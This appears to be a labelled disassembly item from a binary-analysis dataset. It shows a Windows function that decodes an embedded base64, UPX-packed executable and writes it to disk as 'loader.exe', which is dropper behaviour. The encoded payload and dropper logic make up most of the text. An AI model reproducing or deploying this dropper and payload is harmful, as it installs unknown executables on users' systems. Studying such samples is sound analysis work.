Function at 0x1400014c0
Capabilities:
Write file on windows

Disassembly:
mov eax, 0x4078
call fcn.140003310
sub rsp, rax
mov rax, qword [0x140007010]
xor rax, rsp
mov qword [rsp + 0x4060], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 3
mov edx, 0xc0000000
lea rcx, str.loader.exe
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0xffffffffffffffff
jne 0x140001524
xor eax, eax
jmp 0x14000159c
mov dword [rsp + 0x58], 0
mov dword [rsp + 0x40], 0x4000
mov dword [rsp + 0x44], 0x2801
mov r9d, dword [rsp + 0x40]
lea r8, [rsp + 0x60]
mov edx, dword [rsp + 0x44]
lea rcx, str.TVqQAAMAAAAEAAAA__8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAD9y_HzuaqfoLmqn6C5qpgsNIMoLWqn6Bsx56hu6qfoCcKWKC4qpgbMeaoauqn6Bsx5uhs6qfoGzHnKG7qpg4sKeobqqn6C5qp6gg6qfoCbElqG4qpgJsRgoLiqn6AmxJ2huKqfoFJpY2i5qpgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEUAAGSGAwAmYPFeAAAAAAAAAADwACIACwIOGAAgAAAAEAAAAGAAAJCAAAAAcAAAAAAAQAEAAAAAEAAAAAIAAAYAAAAAAAAABgAAAAAAAAAAoAAAABAAAAAAAAADAGCBAAAQAAAAAAAAEAAAAAAAAAAAEAAAAAAAABAAAAAAAAAAAAAAEAAAAAAAAAAAAAAA3JEAAMgCAAAAkAAA3AEAAABAAAB0AQAAAAAAAAAAAACklAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2IIAAAgBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQQAAAAAAAAAAYAAAABAAAAAAAAAABAAAAAAAAAAAAAAAAAAAgAAA4EIAAAAAAAAAACAAAABwAAAAFAAAAAQAAAAAAAAAAAAAAAAAAEAAAOAucnNyYwAAAAAQAAAAkAAAAAYAAAAYAAAAAAAAAAAAAAAAAABAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMy45NgBVUFghDSQCCP_09dnM_hyeRmYAAIsQAAAALAAASQEAZe3__9IiVQkEIlMJAhWV0iB7LgBAABIiwXvHwYzxPfI9r0bhCSoEY0HkA09EiDv_tvbALxuRgJAPOkx0QkYDAbM9K5AlvbuncQ_xXLDyGJFUgtWWDtm21rKFpIFJaDAEPhSn3hRzYAWsYpRX1EWZ7bDf2jCSMSzcNhcAcZkSLU26Q5m5oZf__H11Af697t0gBCxBuQAQBbiVJV0i30G2QCVfUEgmAD1zD_sgTNCLVBsrw6znc2N4JRyDPaNd51nkO2LyEgOWDBd87XTBygeXolMR1jN2ZvsRTPAfelECsbpWLqDdXBv9rYOpcCMfxa6T18zzOjirIDEX17DzPaxP2QAZmYPH4QAbzsNUR4G21vh__J1EkjBwRBm98EPCwLyww3Jnfl3uxBhBHguQFNIgwguQFXDebna7uaBAjIxgvQvIvYu98da4IhiRgLBkiEwHRzCAtMJ8xDQN0CTgHMCmd_u9C4d1Ug9BCRQNdAwpbLLnbH4GYqDkBLwzF_u67_QL4FkFDawZS3v2b2YKhHGDxCBbw7kHpAk4t3YzfJ21KCT4Gh0oww3e8EOCuBTFOMNit0y0bjiVyzvHRX7DD7DbeHBfxuD4QHC0Ay9kCIHmM7_m8gFMCK2IsNwiJqQEdFoeG5_6FyXVKxwWrEjjqHOHn7k5u0P0OvuAKuP8bcDbIyG4DyDbDsS4PeHYN81tAusIQLYBa4rLNse3he9szyDc2Jg4AHQeQPY7mgdh1BIeQY1QAjPJFA7p3sYDBXBLKygUr5bQNyLC2juBLJtPMtncwfcGNZsx4Ijb8K04sI6Dz8AM4KjDR_N0b4VUCE9nVt4oaxAY2Qi8M7M33Z6xkhO4B8CSPoGsPWykafXAS7SI9ywZkMFQCovWhEN4tvmQB8qQpxCQ5Y1hHAK0c_nZM8mRzWzPPwzLCD4OKLsUYenIugmowPYBJQwTw7O713c2OLkXag4edidsOFYHSM0pbD8c1EzDi9PZTgFJh2EC4PACHR7Y0PthyvDxYNgBu5BdOdj0AZhKJaEZBtcuF16lQbCV79e_hwuAj5a8DVVjnHBAEC7NiNhBcz5hqlBCAUZDekOQHJoQ0NMBBpdwRE1zjDe0hfn5tZCUD4VwuzJP_nW2wDPv5zhk1teDa1uw5K2TNgglo3_aw8I1g2MgWMAfGFHBc6HB8DCgv7iBP9goqtbrfx4P_AnyxcEApQay33Us3DWhQIWVGBCUwmX9rbH1ICOsFL8hWefBID7ENyKyfdAPWde4yXLAB6_crf1hynw2BbMcFbsZD0TDiO0gm9wFow_EC8R1BDj0sXbY6xQMCZIK6qKw926J5vJS4A9aDoA_3Vna_jDNm53apkohdt1JDJSWF7SdT0OBgUQD1p0LksD3pjMtvBcULeYPzyedGA9_BSEf3SoGDiqwmuHNM8YF_R7Mykz7QrdkBYkYQ8G4TVoS7i8VeGY5BYwmdXhIYw1ICL3hf03NBQYDyoE5UEUTX7gLAm67_f8mQRh1VEwrwg3QRQjURgg0Ar_37aXBgyATAPKdBQkSTvRdBiLSgxMO8A7bv_BcgqLQggDwQnAcsTCKOvfhu9P2PmF0ieDeiQAfQkKZ3jCEboGBwJ2GMMjitn9sqFFFTAXC4QHSIcVKmYewszKx0cfHircK8L2dASEVQxuYAZMt4Tw8HMDPfoDcP3Q0NJ1B0wS6w8fbeOdbF3kHQxrBEQT7ZM2YvCPDcHvEj32BvAA22MFoH_YRhsVSjgbza97Fpe4Be7MqLfLZkrN3bc_oHDdXQZZRi1TRiTGgjWbLcfa0UYNUUQDRSLaDnbJt8xCxAlIA8IvtsF90UgEPfB4AczRQMQXfdMXMFI1gBJIwwz9Rq6ZWqywe1dgrE73darSKrQDkbFXcNya4t2q4tAYHAEBWdpku9iVldgcPzc1thS4UwggXBR3DcxusZAfH6AgIJG60Cc3wAgNXNPQWOUjXmguUYDcF9RzaxuC9gyXlHHGDVRWs9dhQ23H7uz7ABfdxq8CEzQQGyrkDt9gcg5gwIv3wptAE34V3BkaODhkuB96dVwQegiLldgEPjB7yMktKAwHPI3gHekuKxYkLMMY6D7wvdcuUwggi8MG9754_lqFyARMq4VmiEfgbbEUi5h1T4WI4ovZsACWMdhgyHyo7OpQFWpUAQNni1y1FwZPRHD9IrTwjUXwKcP3dD4GzQ2znW1ACjvldQwIhrcIpY1RBV2cJNArTjQ8CzLEXbPp4tKzX7DLQSQG9zq5wQZZensIdTVjSDyzyCHQfuhLFoO5HA52DQicZCo8awB1dXEoEc6RZw8JAKYFt_v_7YxX3BkCYE7Y3Nt4HUcg3sYBEx81_i1MgjYLgmzm4QJ2FYH6JkBdA0lYlB4fL2Jea7bQ8igkUYFF8IC4hzPWEP8BhbjR0fxQbbZ2JzPRjrEvLQBtt4s9iXhwZwwzvfculYVoUcOWE78wrsCs9DA8k8EA8YEG0sdUeGyQiM8FE23v77b8Fy0GB8G50ZWwG8UdlbnUQ0ovwH39rv0WJQwFFC8gmFvJpbmVJiZ3YcNsEJA7KR7P5mX_D210ZDHVQTQ33E_Ql8D__Dz3A50LtAbmyT1gBgIGIT1wKlxo8RoFsPmELCB31D77hmGAaIPo8FzFGhbuiywehnIQQFEtLUKxhdNtsHE6y4XUQQYefu_fs78Hwmq31Ei9t7
call fcn.140001320
mov dword [rsp + 0x48], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x58]
mov r8d, dword [rsp + 0x48]
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [rsp + 0x4c], eax
cmp dword [rsp + 0x4c], 0
jne 0x14000158c
xor eax, eax
jmp 0x14000159c
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rcx, qword [rsp + 0x4060]
xor rcx, rsp
call fcn.140002510
add rsp, 0x4078
ret